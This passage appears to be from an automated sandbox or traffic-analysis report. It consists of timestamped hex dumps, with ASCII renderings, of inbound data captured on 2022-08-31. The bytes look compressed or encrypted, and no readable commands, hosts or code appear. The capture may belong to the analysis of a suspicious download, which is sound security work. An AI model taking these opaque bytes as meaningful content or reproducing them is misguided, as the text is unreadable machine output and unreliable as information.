f6 b1 14 5d e9 d8 5d ec 3d f3 d2 65 b7 a2 c6 9d Data Ascii: Ii@OAu9u89y^l"CZ(,LT7gWQ.XDFIg\|iEW(Ug+\|NIf!J/qe!H,L~"V#Nrh7K-g2kBpc+RbYS~GPYm}\'<,1`In/KEM)Zy]]=e
2022-08-31 12:29:00 UTC	3239	IN	Data Raw: 65 4c 1f 4c cf fc 99 81 cc db c1 1d 0a 50 41 a9 ba 92 a7 e2 0a 72 5f c6 98 1b 85 e3 24 69 89 cf 40 6f 49 48 61 b3 e5 16 ab e3 1b 20 1e 3f 93 87 1e 3f 48 cc e1 3c dc 00 c7 60 5f d7 d6 90 dd 13 b0 56 67 18 97 f5 c4 dd 53 34 37 5e a4 60 cf 87 99 69 4d a9 69 4d 08 26 ee 09 f4 54 9e 22 93 73 61 c5 39 cb 03 ca e5 48 28 29 74 eb ee 09 70 1d dc 19 a4 c6 52 64 7c b4 c6 2c 0c 40 5e 53 3f 80 cb 97 d3 82 e7 61 7b 7b 18 08 38 55 45 e0 7a 07 21 81 a2 30 e6 33 cb 9b 09 c5 c4 fe cb 5f 68 5a 0f d4 19 f9 f9 f2 7d 3a 3b bb 94 dd c5 72 e9 04 57 af 53 b5 83 59 8a 61 16 4e 67 91 37 cb 50 75 b1 74 e0 ca 34 e7 5b a5 d3 9f a5 84 5c 43 28 b7 c8 09 f6 31 46 fe fb fd 75 a3 5e d6 67 d0 dd d9 f9 2b ed 57 2e 68 08 d1 55 7d 72 16 5b c4 b8 9f f3 15 1e 5d 94 ad f6 fb 38 c8 5f b0 71 de 70 Data Ascii: eLLPAr_$i@oIHa ??H<`_VgS47^`iMiM&T"sa9H()tpRd\|,@^S?a{{8UEz!03_hZ}:;rWSYaNg7Put4[\C(1Fu^g+W.hU}r[]8_qp
2022-08-31 12:29:00 UTC	3255	IN	Data Raw: 16 f5 f6 66 02 bc fa cf dd e7 89 d1 ae c6 2a 29 b6 ef df a3 9c 91 1b 49 16 aa 90 23 3c 5e f5 72 d9 05 23 57 e1 9b 2d 0d c6 34 c6 2f 3b 25 18 41 ac 8e 28 64 89 99 f9 3d c9 e7 3e ea 08 54 8a 5f dc 36 b5 c4 e1 4e ff 83 33 43 6a 63 b7 05 93 40 29 c3 0a 98 bc fb ce bf d1 ff d0 d7 ae 98 0e cc 3b bd 3a a9 be 2b 7a c1 6c ab 37 ce e4 54 ed b3 cc c0 4e 52 ef 07 ae 37 c5 19 dc 8c f5 33 d2 72 e0 c2 c3 ae 1b fc 3d 93 03 28 67 b5 80 da ca ab 3f 58 a7 bf db 04 47 eb 98 ec 51 9b b4 ca b5 5a ea c7 0b a8 9c 73 91 e2 6b e6 5d 52 cb 0b 52 66 5c d0 2b 40 53 2c 80 6d c4 44 cb 43 cd 2e a7 6f a3 bf e5 28 8f d0 e8 dd d3 5d bb 6a 85 b7 05 f4 a0 42 fb fb 3f 13 41 5f 92 68 88 3e e6 ec c6 a1 5e 73 b2 b3 fb eb 46 c0 2a fb 38 05 06 5d d7 41 e3 24 af bf fb 60 32 7d 32 24 b9 c6 c1 51 41 Data Ascii: f)I#<^r#W-4/;%A(d=>T_6N3Cjc@);:+zl7TNR73r=(g?XGQZsk]RRf\+@S,mDC.o(]jB?A_h>^sF8]A$`2}2$QA
2022-08-31 12:29:00 UTC	3271	IN	Data Raw: ab da b7 39 5f a7 b2 50 57 e4 10 a5 6e fb 08 d0 40 a7 de fa bc 8b 49 32 66 49 3d f2 ff 68 c7 2a b8 82 cc e3 b8 0a ad 9b 62 13 d6 1d 3b b2 4f b2 06 3c 4e 06 9e ba c5 06 27 15 5a cf 07 62 14 4e f0 fe 79 29 71 14 62 9b 74 94 0b 1e 5e 6b 83 1e 79 ca 3e 8b 54 b8 bb 29 3e cf 3e b3 83 ca 82 cb a8 eb bb 6c d6 8d b2 75 2a f2 72 43 d5 48 b0 28 7a 81 47 5a f7 28 27 fa 3d 95 44 4f 6b 4a 2a cc 1d 93 8a 1f 40 2a fe 7f 75 9a 3a 77 d9 49 c8 b7 71 93 3f a1 fc b8 13 11 80 49 bd 3c fb d2 6f ac 35 d5 86 d9 18 8d 08 e9 24 b7 b9 3f a4 dc 74 65 1f 47 b5 79 82 19 98 f8 28 dd 10 e9 aa af 66 58 b5 39 b1 97 ae f2 35 d8 73 9a 50 5b 08 73 2d 2a 19 f5 b7 12 1e fb 50 c3 98 16 df 8d 64 d0 01 5b 0b dd 52 f6 a1 f3 7f 2c 0f d2 09 db 19 7e 29 4e b6 5d b6 7b 3b d5 45 95 4a fc 25 4c fa 6a 64 Data Ascii: 9_PWn@I2fI=hb;O<N'ZbNy)qbt^ky>T)>>lurCH(zGZ('=DOkJ@u:wIq?I<o5$?teGy(fX95sP[s-*Pd[R,~)N]{;EJ%Ljd
2022-08-31 12:29:00 UTC	3287	IN	Data Raw: 40 cb 84 aa 4c 7f 98 0a 84 9c 96 42 0a 11 48 7b e3 bf 97 78 04 ad 8b ab 04 8b ba f1 39 0b 64 f2 36 6c 38 cd 52 25 e0 d5 1f b7 cd ba 18 8a 31 1c a5 27 63 3d 29 47 71 87 15 20 e6 dd 38 a3 70 79 ec 0f 56 a3 a1 94 3b 6e 3c 91 fc 84 f8 27 14 15 32 e4 ed 14 26 b8 84 67 53 a1 1a 3a a2 df af f9 ab 06 e4 4a b2 56 29 61 25 da 53 01 82 ff d3 78 e4 e9 b5 a8 39 30 ed 24 92 9a 45 61 42 b4 e5 ce dc 31 ee 4a 42 0a c5 7d 23 ff fb e1 ac 71 ae a4 45 e4 15 ff 7b b0 22 26 05 e6 79 fe 45 de a3 7a 7c 1d 50 a9 89 79 a6 e7 ea 42 2b 12 60 a1 9f 73 1c cb c4 98 f7 07 22 db e1 99 29 3c ff 01 4e c6 7f 95 33 26 41 a1 43 20 e3 74 a9 da 35 cf fe d7 d8 f6 83 86 f6 16 69 33 e0 fb a7 ef 0a d5 1e 5c 05 b7 83 9f 3b f6 85 33 e4 fd 4d cc 80 98 c8 78 95 00 e4 b2 9b 8d 54 b6 a2 6e 71 2e 44 87 ae Data Ascii: @LBH{x9d6l8R%1'c=)Gq 8pyV;n<'2&gS:JV)a%Sx90$EaB1JB}#qE{"&yEz\|PyB+`s")<N3&AC t5i3\;3MxTnq.D
2022-08-31 12:29:00 UTC	3303	IN	Data Raw: 78 01 1b b1 5a 23 ca b7 5d 04 40 75 2f bf cb 33 f8 86 50 95 83 82 bd 21 4b 38 20 40 a2 d2 42 87 50 cf f9 e8 9b 6b a3 4f 2a d5 12 40 3a e6 32 39 e6 b1 14 cd ad 5b 8f 3c e9 32 20 f5 3c 39 86 64 d4 34 14 cd 74 07 7f 93 0d c1 ea 00 47 84 18 eb 8b fe f2 61 e4 df cf bb f2 26 63 3b 83 5f 9e 0e 7d 4f 28 cb 69 08 a6 5c 3f cc bb 65 50 d6 59 d8 3b c8 97 ac a4 3c a4 8a e9 d3 01 71 6b f6 55 5a 28 65 81 da 3f d0 40 f5 f8 e0 40 05 2b 47 22 c4 b3 c0 a2 3e 8e 55 4f bb b0 51 7e e3 46 8b ab 55 2b df e7 b9 35 5b 84 c3 cd 31 cb 1c c3 00 f2 da 3e 91 a7 91 8e b5 e5 80 e9 29 68 3a 45 cb 1c a9 23 b4 72 20 23 8b 7c f3 c6 a3 fd 79 d5 79 ea 60 c4 91 6b e6 c3 8b 93 06 f9 d7 f8 3d 3c b4 ae 91 4a 82 46 0b 3f 1c c5 60 de b6 f4 e7 0a 06 b1 b2 9d 31 6e 86 35 ad 59 e6 71 af 34 7f 45 52 55 Data Ascii: xZ#]@u/3P!K8 @BPkO*@:29[<2 <9d4tGa&c;_}O(i\?ePY;<qkUZ(e?@@+G">UOQ~FU+5[1>)h:E#r #\|yy`k=<JF?`1n5Yq4ERU
2022-08-31 12:29:00 UTC	3319	IN	Data Raw: 8b fc 7a f0 8f d0 a3 26 46 37 ae a7 77 aa 9b 2a 55 4b 3f 8b b3 8a 1c 15 71 e7 b4 50 84 aa 6a 5f 17 b6 f9 0d bb 8e ed 31 c1 d7 86 04 5e 20 8a a6 61 c5 a8 4a c8 cf 23 3d 56 f2 b5 36 e8 1e 8f d3 e5 88 90 9c 0c 3b 13 9d 66 fb 35 b9 5d e0 b5 94 f4 e3 17 fd 21 31 f2 87 a7 c6 0d 79 21 52 f4 f5 7a 5f 0e e3 78 85 09 18 cd 4d 67 42 66 4f de ed 15 de 4a ba c8 fe b3 28 f0 af 90 69 94 eb 48 8c fa bd 2a a6 cc 20 85 25 4d 07 26 df 51 44 42 fd 62 fd 3e 47 6f bb b5 22 dd ee d6 fd 20 84 2d 1b 10 8a 82 e5 60 d1 b3 a4 14 58 d5 df 46 f5 6a 5a 38 21 7c 98 40 2d 20 79 82 c5 bd 10 d2 37 5e 3e 47 c9 33 cd ae 25 f0 32 07 e4 63 47 c9 89 3b 64 4f 87 19 dc f7 6a 5c 6e f3 a8 d0 42 ca 0c cf e4 b0 36 8f d6 ec 05 51 29 d4 9e e9 1a c0 45 c6 ff bf 39 2a eb 3a 80 8f 19 9a d9 74 8f c2 b5 9e Data Ascii: z&F7wUK?qPj_1^ aJ#=V6;f5]!1y!Rz_xMgBfOJ(iH %M&QDBb>Go" -`XFjZ8!\|@- y7^>G3%2cG;dOj\nB6Q)E9*:t
2022-08-31 12:29:00 UTC	3335	IN	Data Raw: e9 cb d2 eb b9 8d 31 43 53 91 26 5b 28 5b 80 d7 ad 8d 1b 91 b9 62 86 86 e8 b9 ab 02 26 ad a7 c0 ff 14 6e 5b ce 77 17 97 6a f0 74 6f 62 0a d8 92 fc 21 ef fb 2d ba 51 49 f6 12 0f 34 62 f6 be 93 0a ef 5e 90 23 a1 e8 bc f2 1c 11 e9 38 ac 08 4c 1e ef 5e 0e 2a 00 15 77 3f 84 d0 d6 c6 50 d9 da 45 30 8d 7d 3c 89 e9 94 6f 47 ac 61 3e e2 af e1 bf 62 2b e8 3b 91 5f 71 53 c3 51 d1 a8 67 8d b4 c8 81 46 81 a3 db 7b ed a8 3f e9 99 1e 75 f4 88 1c 0e 07 49 a2 d6 17 a0 d9 14 a4 db 79 cd c8 51 17 10 b0 5a 34 c6 2c 11 fa 64 a4 c3 32 d6 99 b3 d3 cb 00 35 b8 17 99 95 c4 9e 3f 97 ef a0 7e 85 60 e4 18 c1 1c a4 57 60 25 ba 0f b2 df 19 c0 e6 62 7a 65 bf 85 4b 05 5b ae a5 92 46 67 e1 a4 b9 19 4a 22 36 60 0f e0 4c 64 12 0d 21 b4 a3 c7 35 cf 6a 12 f7 32 5b 40 8c 17 0e 0c df f2 bd d4 Data Ascii: 1CS&[([b&n[wjtob!-QI4b^#8L^*w?PE0}<oGa>b+;_qSQgF{?uIyQZ4,d25?~`W`%bzeK[FgJ"6`Ld!5j2[@
2022-08-31 12:29:00 UTC	3351	IN	Data Raw: de 45 f2 73 f7 a6 50 e0 36 6e 41 31 f0 a0 22 c1 a2 21 0a 7d a5 26 46 6b 44 e4 8a 10 36 99 e8 6d 8b 0f 64 1b df a8 50 5c 52 11 3c 78 b6 88 ec e8 0f 2e 70 f2 6e ef 78 43 f0 b2 0f 2c c2 ad e5 75 78 a4 24 b7 8e 74 cb 4a 9d 89 31 41 4b 40 d5 de e3 e1 7a 90 57 47 14 d5 84 1b 90 58 87 9a 93 94 e9 74 25 c9 d6 75 b9 f8 88 5a d7 cd 7b b3 eb da b8 b2 4e ba 21 b8 7a 32 36 be e9 0a 21 3d 0d 76 00 e7 49 ac 6b 1d 12 6a db 28 55 e9 3c 6d b5 b2 a7 ea fc 46 25 0a 8a c5 04 12 0d 10 f5 b4 ce 56 b5 91 45 c8 c4 4e 07 79 a9 c2 54 ca 8c a0 4c 81 12 4b 1d e7 e0 c7 09 5c bb d5 65 60 f0 98 41 9a 26 ca 5a 49 fc 1a 96 9b cb d3 80 75 11 81 54 39 32 f1 d7 89 17 13 3c c1 7d 60 71 6a b3 e7 1f 50 41 c9 75 0f 79 1b 36 9f df d9 6b 22 a0 9a 07 10 b8 05 8a 4b 80 5d 7f a3 df c1 26 d1 d2 01 54 Data Ascii: EsP6nA1"!}&FkD6mdP\R<x.pnxC,ux$tJ1AK@zWGXt%uZ{N!z26!=vIkj(U<mF%VENyTLK\e`A&ZIuT92<}`qjPAuy6k"K]&T
2022-08-31 12:29:00 UTC	3367	IN	Data Raw: bc ea d8 3a b2 22 79 42 b4 79 1e d5 0e b4 83 d2 dd 72 5d 98 43 ce 38 c9 a9 90 e4 90 dd 5f 36 d3 7b bc c8 e2 77 1b 09 a3 33 bf 1d 4e 4b b1 29 2a 71 10 66 6c a4 f0 d8 e8 3b dd f9 c3 5e a0 3c 3c 02 a7 40 ac fe e2 56 d6 ba 27 1a eb 46 3e 20 6e a5 a8 f7 75 ea c5 2a 9d 41 53 15 0a 01 c3 12 97 3a f0 dc 3d 80 e2 b9 2e 49 ec 32 46 39 1d 04 71 cb 14 5a 74 cf b5 b4 2e 1f 02 77 0e 7d d5 90 e2 12 88 1e c4 0b cb 2e 52 eb 2f a3 b9 2f ac 06 11 43 63 82 1f 37 b3 ab dd 31 2d 29 75 24 32 06 fe f0 a0 cf b6 c9 df 06 df f1 e1 05 9b 96 51 fe 84 64 d0 fb 11 3a 05 cc 95 bb 77 0b ca c6 88 e8 31 dc 4b f0 34 69 1b fe 87 95 75 d9 4a 9f 95 40 a2 0f 2e cd e2 83 bc 84 4d 63 68 d5 50 a0 ea b1 d2 97 f2 f7 fb 07 f9 55 43 53 f9 18 4d 56 db 8e 9c 25 29 f5 3e 46 ff 1b 55 e8 fc 86 fe 64 8e 5c Data Ascii: :"yByr]C8_6{w3NK)qfl;^<<@V'F> nuAS:=.I2F9qZt.w}.R//Cc71-)u$2Qd:w1K4iuJ@.MchPUCSMV%)>FUd\
2022-08-31 12:29:00 UTC	3383	IN	Data Raw: ee a7 27 0f 06 16 fb 36 93 ee 68 7c 8c 68 bb ee 14 a6 83 95 20 96 f0 de 96 8f c0 f9 ff 9d 63 ee 5f 10 a1 bd d8 c9 52 09 e3 57 4f 28 b2 51 9e c8 c9 a7 71 ca d4 dd 89 d8 7a 12 44 47 c0 10 ec 25 d6 c8 0d 9c 4f b4 6f 3b ba b4 9b 62 7d bb 73 5c 35 85 6c a8 a3 ca 90 3a 02 09 e7 74 39 1f ec d5 05 be 67 bc 9c 6a 34 d6 92 70 2b bd c4 9a 82 3d 70 5e 84 4c 0e a7 44 5f c9 77 9c eb 90 cb 0d de c3 26 2a 15 d0 1a 37 1a 8f ce 55 5e 3c e5 a6 43 37 51 74 c0 9b f9 8b c1 bf f7 51 3d a0 31 19 5c bb 70 39 bb 5d 8c 22 fb 3b 9b 90 8a ee 9d 1d 7f 01 7e d9 50 f0 1c 0f fb 90 cd fd a9 39 21 d0 19 a4 99 e2 a5 24 83 ad 95 c1 1c 5d 13 53 43 89 32 a4 0f 9d af a5 a1 f6 ad ec 22 b8 d8 0d c1 b0 d3 b8 5f 34 86 66 4c e6 83 b5 fa bf 5d 45 02 e5 16 65 ab 34 46 c7 36 8c e1 c8 03 c4 de ab 87 a2 Data Ascii: '6h\|h c_RWO(QqzDG%Oo;b}s\5l:t9gj4p+=p^LD_w&*7U^<C7QtQ=1\p9]";~P9!$]SC2"_4fL]Ee4F6
2022-08-31 12:29:00 UTC	3399	IN	Data Raw: b2 fd 80 5c a6 d5 0f 1e 7f e3 8c 0c e9 13 70 33 c3 65 a1 4f cf 7e 86 06 1c 24 ae 99 b8 07 db 3b 57 a8 ed db 9c 58 f5 cc d0 39 52 83 d8 bb 9d a7 67 e2 49 2e 91 4c 1c c0 e9 a5 26 d6 aa 52 c8 63 42 3b b2 e1 04 13 db f3 56 6f 2c dd de 8f 23 95 e6 57 ca 0e 3c 6a 0e a8 8a 22 c6 01 3f 50 f1 4a 5b 84 05 56 63 26 9a 5d 2b 10 75 39 be ee ec db 72 ee b3 8d 85 7e c1 b1 66 ce 4b 89 dc 24 85 fa bd ea ad 43 1b 88 93 2e 57 2a d4 2d 58 77 82 88 26 db fb 4c 0b 22 87 d5 8a 58 92 ab 03 01 9d bc 09 12 6f c1 28 94 1a 94 0c d6 c1 a5 d9 9f a7 48 04 50 f4 f8 30 2c 7e 39 cb 38 83 cc 77 16 1f 13 88 69 c2 09 b1 c9 ae d3 64 4f b6 14 b1 5e 71 1f ff 2b 8a 5a 86 fe 00 5e f2 8e 25 94 94 5e 04 e6 c3 e1 37 b2 0d 67 b0 23 72 9e c5 83 60 97 2d d8 5f 60 97 1a 60 d0 44 f4 49 6f 29 db 77 a8 22 Data Ascii: \p3eO~$;WX9RgI.L&RcB;Vo,#W<j"?PJ[Vc&]+u9r~fK$C.W*-Xw&L"Xo(HP0,~98widO^q+Z^%^7g#r`-_``DIo)w"
2022-08-31 12:29:00 UTC	3415	IN	Data Raw: ed 08 db c5 0b 28 c8 27 f6 cf e5 f1 99 8e b4 99 63 9a 65 b0 5b 11 7f 5e 3a 03 aa d7 33 05 b6 40 ba d5 15 c9 35 54 38 3d 2c 7c a5 e3 b7 02 27 da 7c 05 ca ce 71 d4 b4 ed 4f 8d af 74 5d 26 16 03 ed 41 74 b7 50 95 10 65 51 33 db 92 bc 87 96 55 bc 2c a5 5a b9 0c 10 ec f5 fc f5 76 f6 de 50 64 c7 8c 79 f7 1d c8 96 49 54 14 f7 df 79 16 d1 87 f4 09 47 87 cb d5 4f 00 9c ee 4a 9a 7a 31 00 e6 74 25 93 ce c2 bd 3b 30 59 e7 cf a1 05 f6 71 49 3a 11 c4 9d 43 9c ca 4e 14 2c 79 40 da 96 16 39 7e fa 5e be b0 22 d7 1f a8 79 0a 7d 33 53 f0 b2 45 19 8c fd 94 77 11 fe f7 08 94 aa 13 2b 53 03 88 12 fb 0e a6 94 97 6a eb b2 55 cc ae 48 bc 92 3f 0e 05 eb 76 41 e4 35 b4 0f a7 47 79 20 e4 7e 3a 06 2c fd ed d5 5c 35 9e f6 4d cf 9e eb e9 f7 dd 4e 15 af 9f 75 19 31 a1 d3 fe 9d a9 23 1a Data Ascii: ('ce[^:3@5T8=,\|'\|qOt]&AtPeQ3U,ZvPdyITyGOJz1t%;0YqI:CN,y@9~^"y}3SEw+SjUH?vA5Gy ~:,\5MNu1#
2022-08-31 12:29:00 UTC	3431	IN	Data Raw: fc da 79 26 30 89 ab b1 3c 07 5a 7c 41 b4 f1 92 d6 0a 66 9d 3f 06 ef 0e e9 74 39 cc 05 1d d7 b0 a6 0f 81 f5 01 c3 a2 5b fc 49 84 e4 e2 31 1e 3c 81 9d 15 bf b1 0d 6c 34 aa d4 b9 a4 52 bb 1c 75 d5 61 d6 1e d2 99 e4 3d 13 16 ef 13 28 9f f8 74 48 d2 58 fb 6d ab b0 ae 79 03 59 13 bc d6 25 80 9f 66 c9 3c 8f 57 59 c9 09 92 0f 58 fc f3 da df 01 67 df ea ac cf 84 c1 e2 13 f0 f7 2d 62 bf e2 5c 99 da 3f 27 57 79 e8 d5 ab 8f 5e d1 15 e8 39 84 9f cd 8a 26 44 09 72 cd 94 a7 cf c2 ed 84 3b 8b 8b c4 f9 20 63 59 2d 07 43 0c 60 4f 30 fe 07 8c 86 2b 9c 26 b5 58 29 4a b4 c0 61 ee d2 5e 10 ca 55 c3 2b e3 21 f5 02 5b 9d be d8 71 ac e2 a8 a9 e4 72 d7 46 29 b0 ac c1 a4 7f 2c b8 3b 84 57 c3 f1 d8 82 ed 59 08 07 f4 43 d5 b9 75 b5 99 05 04 01 38 51 c3 c6 2f 46 78 34 cc 24 a8 28 f8 Data Ascii: y&0<Z\|Af?t9[I1<l4Rua=(tHXmyY%f<WYXg-b\?'Wy^9&Dr; cY-C`O0+&X)Ja^U+![qrF),;WYCu8Q/Fx4$(
2022-08-31 12:29:00 UTC	3447	IN	Data Raw: 39 52 09 44 1b ad 78 da 7d 64 2d c3 66 18 df 0c ff 01 d4 2e dd 53 ea f7 8a 09 c4 64 92 4f 1a 98 8e a6 0b 40 56 d8 1b c5 46 c3 96 f1 0d ce a9 c0 c9 7e 6a cb 56 6c c0 4e e8 ce 42 22 5a 8a 7c cd 6d 2c b2 19 4c a4 a1 dc be 8f 64 e2 04 70 bc 70 03 0b dc a9 40 a0 b0 33 11 b1 2f 32 00 ab c5 e0 af 24 cc d9 e9 04 20 f5 cd 55 eb c4 e9 4a 5d 14 f6 6c f7 d2 8d 91 e7 c2 a4 fb 03 6e 46 6c 67 c7 24 d3 7e 9e 37 28 ad 15 6b fc cb e2 90 06 09 5f b6 18 f2 62 4d 04 83 c8 ac 62 4b 11 28 61 6b 99 7f ec 1d 52 34 1d 7a 65 d2 90 a2 c2 4d 7d 67 5e a0 ca 5e 08 53 11 18 62 4c 0d 97 f2 0a ac 99 44 86 f5 7a 39 d5 d0 2a 35 9f d8 43 b3 90 d0 88 d3 46 94 56 15 79 86 e2 93 fd 5b 3e fa 2c ad 15 bf 54 18 ed 6c 6f e7 23 ed e7 d6 13 f3 56 7f 7e ca 5f 6e 0e 35 cf 66 c3 34 f9 b9 bd ed 17 b2 08 Data Ascii: 9RDx}d-f.SdO@VF~jVlNB"Z\|m,Ldpp@3/2$ UJ]lnFlg$~7(k_bMbK(akR4zeM}g^^SbLDz9*5CFVy[>,Tlo#V~_n5f4
2022-08-31 12:29:00 UTC	3463	IN	Data Raw: 93 d3 cb 76 5a a0 21 0b 5a 58 c2 f4 e9 2c 89 5c 50 22 ac 73 a6 55 bf 10 45 ad eb 02 de ad 15 f1 03 de 95 93 e7 67 42 b5 78 25 4e 85 93 42 dd cb 1f 75 2e 7f 03 1c 5d 26 d4 c6 b6 eb ac a5 ce 55 1f df 9e 50 53 cd 18 05 f1 33 d5 65 27 b0 8c c6 50 4e a8 03 24 23 a6 16 49 79 e0 82 4a 35 f2 64 a1 91 92 cb b5 3f 1a 1a 3d 4d 6b 4a 52 b1 4f d6 a8 5e c6 db 4a 79 70 d9 3c 05 36 51 e9 00 ce c7 a9 85 c1 67 73 7c 5e bd 2f e0 e1 9c 3c 1d d9 c8 df e3 5c f6 20 ed b5 57 c0 02 b2 0f 9d 7f 33 d9 67 85 6d a4 8c da be 70 91 83 35 97 f0 9c 4f 5a dc a9 d3 4a 38 0d 20 44 0b 2a fb 7b ea 90 9a 74 f1 64 78 c0 12 78 4a d7 88 66 6d cf a7 d2 e8 04 84 35 e9 41 4c ae 07 d0 ef 39 92 6c c1 cb 2d 89 62 26 45 e6 da 5d 03 0d 0d a8 d8 0a 1f 4b 53 cf e9 57 25 89 92 49 32 79 23 34 b4 d3 7c 60 f7 Data Ascii: vZ!ZX,\P"sUEgBx%NBu.]&UPS3e'PN$#IyJ5d?=MkJRO^Jyp<6Qgs\|^/<\ W3gmp5OZJ8 D*{tdxxJfm5AL9l-b&E]KSW%I2y#4\|`
2022-08-31 12:29:00 UTC	3479	IN	Data Raw: 27 5c 26 78 cb 71 d0 71 5a 3f 69 1e 4f 12 00 24 8f c5 96 33 5a 66 24 17 70 0d 59 02 26 8f 0b ca 78 86 90 56 f1 7a 72 bd 6e 4b 63 10 24 6b 78 83 9c 9d 02 46 17 d1 c0 15 24 f0 42 2a 2b 52 d1 73 65 b0 8d 4a e1 ea 22 d2 80 b4 e0 36 90 d8 90 ee 4b aa ca 75 84 75 6f 4d ef e7 79 d4 e2 66 8b 28 3a 9b 9b d3 fc 07 30 92 83 78 53 c6 8a 89 11 a2 31 08 d5 b8 90 cb d1 b2 6b c8 f7 ae ae 68 46 04 53 ac 94 ac 0b 8a 99 bc 2f 29 37 5c 42 93 a7 43 5a ec fc 27 ec f3 a1 e4 18 3a 4d e9 e3 69 8d 1a 47 d3 96 c4 a4 b1 d3 69 38 71 d3 d8 7b e4 ae fe 7a 56 cd 72 14 4b f2 09 0a af 3b 09 bf 52 78 06 35 34 cd f2 63 2a e3 0a 2e e7 b8 0c 00 9e f2 4e 06 45 c8 45 29 a9 1f 1d 01 a7 dd 51 a3 8e 11 45 a8 df 32 24 10 83 9f 26 03 5e ab 4d aa 07 44 f6 f7 80 fe ec 97 6b ed 5b d6 fa f3 a1 84 27 12 Data Ascii: '\&xqqZ?iO$3Zf$pY&xVzrnKc$kxF$B+RseJ"6KuuoMyf(:0xS1khFS/)7\BCZ':MiGi8q{zVrK;Rx54c.NEE)QE2$&^MDk['
2022-08-31 12:29:00 UTC	3495	IN	Data Raw: 32 a4 ee 8a 0b 84 30 6b 21 ac 99 ff 31 3b 73 60 a2 49 2a 35 6f 82 c4 74 46 fd a9 28 a5 8b 3e 52 b0 f1 7f ca d1 de c4 d1 f1 79 f5 9a 27 6f a2 57 08 d3 85 57 d0 f9 48 6d 6a 9f d9 b5 e5 e4 cf a5 7d 2b c0 35 64 2a 9c 65 84 99 8d 79 bc 2f 32 1e 5c fb 3a dc 44 8d e1 46 3e 3f 80 1c 19 ef 91 16 1c 65 a6 dc 90 2c b6 29 ed db 5b 0b a9 24 76 a6 b2 e2 8c 78 f8 ce 07 9f 5a b4 55 47 05 4b ca 21 f5 ef 4b 7f 91 a5 0c a1 5a cf 98 0f 72 98 32 64 2d df 71 30 d8 20 ca d5 97 d9 a1 70 11 3a 93 c6 c6 74 19 e0 ab 93 a2 d3 2a 05 b4 7d 47 1a 09 bd 93 53 25 21 a1 65 11 f9 c2 3b e5 19 25 9e a4 33 83 c1 29 bb 40 2d 78 b4 35 3d 60 c5 57 18 a4 49 a3 ef 19 d6 30 d3 cd 40 48 47 24 ca 3f 03 c1 8c d4 68 9b 06 be 6e f6 17 e9 57 7f 71 ec 91 02 3d 1d 85 dc d2 f0 b8 05 69 17 b1 c9 e2 07 b0 38 Data Ascii: 20k!1;s`I5otF(>Ry'oWWHmj}+5dey/2\:DF>?e,)[$vxZUGK!KZr2d-q0 p:t*}GS%!e;%3)@-x5=`WI0@HG$?hnWq=i8
2022-08-31 12:29:00 UTC	3511	IN	Data Raw: 82 eb 49 64 34 c2 4e 2c 5a a0 a0 57 1b 17 eb 65 df d2 89 43 3a c5 f8 69 a7 67 80 af 3b dc 74 1b b3 96 d9 1e 9e 93 99 4a f0 5e c3 55 b6 54 db 6d 54 f5 59 42 78 e6 48 a1 64 d8 7b 32 8d 58 b9 cd c4 00 66 37 08 e7 f2 fd bf 99 24 4b 50 6e 29 a1 46 c8 0b bc 64 56 1b e2 a9 74 84 33 22 88 d0 83 ae 9a 4b ec 26 92 10 c0 a9 4d 4c 7d 23 97 08 52 ad 21 28 45 8f 4b 8c 02 db 3e a9 b0 6f d9 25 5d 5d 4b 67 91 40 40 71 bc 58 90 b8 df 6f d3 44 6b 2a b9 89 d7 35 dd 15 64 a7 0c 4d 66 61 fa e5 1b 79 e8 d7 16 88 c0 79 12 2d 4a 38 68 48 23 68 17 08 68 f1 f9 4b 85 71 f9 24 81 0c 2d b0 02 e2 60 47 e6 5f df a2 a7 18 4f 92 c3 13 04 09 d0 61 02 e7 00 ce 43 2f 99 b7 92 df 10 33 ae 56 11 d6 c8 e9 71 a4 de a1 42 8e e6 4c 61 b2 2a ca 81 e3 d9 3f 11 7a 45 d1 8f f1 a1 19 b8 e2 fd dd 82 d0 Data Ascii: Id4N,ZWeC:ig;tJ^UTmTYBxHd{2Xf7$KPn)FdVt3"K&ML}#R!(EK>o%]]Kg@@qXoDk5dMfayy-J8hH#hhKq$-`G_OaC/3VqBLa?zE
2022-08-31 12:29:00 UTC	3527	IN	Data Raw: 7f 00 17 95 25 2b 33 27 ad 26 80 61 0c 76 dd 48 db f1 f4 7b 5c 7a 4b 07 74 6a 4c 0f f0 5d e6 51 b6 5e 75 fe 56 eb 7c 59 26 6b 36 9b 4d 03 47 6d 30 7d f7 9d a7 d1 12 1a 3a d5 ac f1 0d 0c bd 7c e9 87 10 d0 f5 67 d3 7e 38 0b b9 fa 74 1c 9d 05 b4 39 53 77 5e a4 db 31 b2 94 9e 1a 6b 2b d6 7f b0 29 fe 9c 06 0c 89 52 f1 ed d6 d0 81 48 64 d0 c5 38 0a c8 41 bb 70 f4 6d 36 44 fc 41 77 12 5c dc 19 58 a0 b3 26 e3 22 cd 08 d5 d5 a0 19 64 c1 77 c8 9c a0 3d b6 ca 2d 9f ce ec 2c f3 e5 d9 c8 f3 9a 02 6b 3f 3b 68 90 24 29 25 2f 0a 5f 3e 55 7e b9 70 31 e5 e5 6d 88 b3 45 58 04 8b 78 1a a4 a2 db 52 fe a0 0f 09 fc 87 2e 68 7a 47 db 00 99 9b 12 26 b9 1e cf 54 60 af 37 fa c3 5c 17 ba aa 69 df ce 5a 65 84 7b 0c 6b e6 aa 13 df ed 66 e1 46 88 35 ab cd 6e 30 14 6a ed a4 20 15 5b 5f Data Ascii: %+3'&avH{\zKtjL]Q^uV\|Y&k6MGm0}:\|g~8t9Sw^1k+)RHd8Apm6DAw\X&"dw=-,k?;h$)%/_>U~p1mEXxR.hzG&T`7\iZe{kfF5n0j [_
